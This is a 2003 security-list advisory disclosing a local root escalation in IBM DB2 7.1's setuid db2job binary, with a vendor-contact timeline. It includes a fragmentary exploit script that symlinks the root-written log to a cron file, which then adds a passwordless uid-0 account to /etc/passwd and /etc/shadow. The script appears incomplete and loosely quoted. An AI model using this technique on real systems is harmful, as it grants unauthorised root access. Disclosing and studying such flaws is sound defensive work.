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Local Vulnerability in IBM DB2 7.1 db2job binary
From: pask () cmlc upv es
Date: Tue, 5 Aug 2003 16:09:09 +0200 (CEST)
Title: Local Vulnerability in IBM DB2 7.1 db2job binary
Platform: Only tested in Linux but can be exported to others.
Impact: Users with exec perm over ./db2as/sqllib/adm/db2job can create files
with 770 mode and owned by root.
Author: Juan Manuel Pascual Escriba <pask () uninet edu>
Status: Vendor contacted details below.
There is a write permisions checking error in db2job binary that can be used by local
users with exec perm over db2job to write any file owned by root with mode 770.
db2job is installed with 4550 perm and owned by root.db2asgrp in my default installation
[pask () dimoniet home]$ ls -alc ./db2as/sqllib/adm/db2job
-r-sr-x--- 1 root db2asgrp 339402 Jun 21 2002 ./db2as/sqllib/adm/db2job
only db2as and db2inst1 are in db2asgrp then they are the only users that can achieve root
privileges with this bug. Always the sysmanager can chmod 6555 db2job for admin purposes, and
the users go wide.
The binary does'nt drop privileges before writing the log and writes the next files owned by root:
-rw-r----- 1 root db2asgrp /home/db2as/sqllib/db2jobht.prf
-rw-r----- 1 root db2asgrp /home/db2as/sqllib/db2jobht.bak
-rw-r----- 1 root db2asgrp /home/db2as/sqllib/db2jobsm.bak
-rwxrwx--- 1 root db2asgrp /home/db2as/sqllib/0_1.out
Easy to overwrite or create new files owned by root (.rhosts, cron files) via link
if [ -d $DB2DIR ]; then
echo Trash directory already created
if [ -f ./0_1.out ]; then
echo Link Already Created
ln -s $CRONFILE ./0_1.out
echo "echo "#!/bin/bash"" > $CRONFILE
echo "echo "$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE
echo "echo "$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE
echo " must wait until cron execute $CRONFILE and then exec su pakito"
This bug was reported to security-alert () austin ibm com on July 27.
After that on July 29 IBM sec staff forwards as bcc my emails to with db2
security team. At 5th August i have'nt any idea about db2 sec team emails
or how to contact it.
This vulnerability was researched by:
Juan Manuel Pascual Escriba pask () uninet edu
- Local Vulnerability in IBM DB2 7.1 db2job binary pask (Aug 05)